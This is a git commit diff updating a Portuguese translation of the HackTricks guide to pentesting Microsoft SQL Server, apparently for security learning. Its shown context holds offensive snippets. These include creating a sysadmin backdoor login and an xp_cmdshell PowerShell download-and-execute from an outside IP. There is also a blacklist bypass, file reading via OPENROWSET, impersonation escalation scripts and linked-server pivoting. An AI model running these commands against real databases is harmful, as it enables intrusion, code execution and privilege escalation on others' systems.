Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-

This commit is contained in:
Translator 2024-07-30 11:13:18 +00:00
parent 10307b262f
commit c268c095b3

View file

@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
@ -126,6 +126,11 @@ select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
```
#### Obter Usuário
@ -218,7 +223,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
### Roubar hash NetNTLM / Ataque de Relay
### Roubo de hash NetNTLM / Ataque de Relay
Você deve iniciar um **servidor SMB** para capturar o hash usado na autenticação (`impacket-smbserver` ou `responder`, por exemplo).
```bash
@ -249,7 +254,7 @@ Você pode ver como usar essas ferramentas em:
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
### Abusando de Links de Confiança do MSSQL
### Abusando de Links Confiáveis do MSSQL
[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar dessa funcionalidade:**
@ -279,7 +284,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Ler arquivo com** OPENROWSET
Por padrão, `MSSQL` permite a leitura de arquivos **em qualquer arquivo no sistema operacional ao qual a conta tenha acesso de leitura**. Podemos usar a seguinte consulta SQL:
Por padrão, `MSSQL` permite leitura de arquivo **em qualquer arquivo no sistema operacional ao qual a conta tem acesso de leitura**. Podemos usar a seguinte consulta SQL:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -339,11 +344,11 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Para **mais exemplos** confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
For **mais exemplos** confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
É possível **carregar um .NET dll dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
É possível **carregar um .NET dll dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`** então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
[**Seguindo este link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
@ -415,6 +420,11 @@ WHERE a.permission_name = 'IMPERSONATE'
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
```
{% hint style="info" %}
Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros **bancos de dados** ou servidores vinculados.
@ -434,7 +444,7 @@ Você pode realizar este ataque com um módulo **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
ou com um **script PS**:
ou com um script **PS**:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@ -488,6 +498,7 @@ Você provavelmente conseguirá **escalar para Administrador** seguindo uma dess
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>